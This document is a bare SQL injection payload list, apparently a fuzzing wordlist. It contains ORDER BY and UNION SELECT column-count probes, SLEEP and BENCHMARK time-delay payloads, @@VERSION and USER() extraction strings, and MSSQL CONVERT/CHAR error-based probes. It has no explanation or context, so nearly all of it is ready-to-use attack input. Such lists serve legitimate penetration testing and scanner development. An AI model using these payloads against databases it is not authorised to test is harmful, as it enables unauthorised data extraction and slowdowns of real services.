 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION ALL SELECT 1
 UNION ALL SELECT 1,2
 UNION ALL SELECT 1,2,3
 UNION ALL SELECT 1,2,3,4
 UNION ALL SELECT 1,2,3,4,5
 UNION ALL SELECT 1,2,3,4,5,6
 UNION ALL SELECT 1,2,3,4,5,6,7
 UNION ALL SELECT 1,2,3,4,5,6,7,8
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION ALL SELECT 1#
 UNION ALL SELECT 1,2#
 UNION ALL SELECT 1,2,3#
 UNION ALL SELECT 1,2,3,4#
 UNION ALL SELECT 1,2,3,4,5#
 UNION ALL SELECT 1,2,3,4,5,6#
 UNION ALL SELECT 1,2,3,4,5,6,7#
 UNION ALL SELECT 1,2,3,4,5,6,7,8#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 UNION ALL SELECT 1-- 
 UNION ALL SELECT 1,2-- 
 UNION ALL SELECT 1,2,3-- 
 UNION ALL SELECT 1,2,3,4-- 
 UNION ALL SELECT 1,2,3,4,5-- 
 UNION ALL SELECT 1,2,3,4,5,6-- 
 UNION ALL SELECT 1,2,3,4,5,6,7-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION SELECT @@VERSION,SLEEP(5),3
 UNION SELECT @@VERSION,SLEEP(5),USER(),4
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION SELECT @@VERSION,SLEEP(5),"'3
 UNION SELECT @@VERSION,SLEEP(5),"'3'"#
 UNION SELECT @@VERSION,SLEEP(5),USER(),4#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 UNION ALL SELECT USER()-- 
 UNION ALL SELECT SLEEP(5)-- 
 UNION ALL SELECT USER(),SLEEP(5)-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT NULL-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- 
 UNION ALL SELECT NULL#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
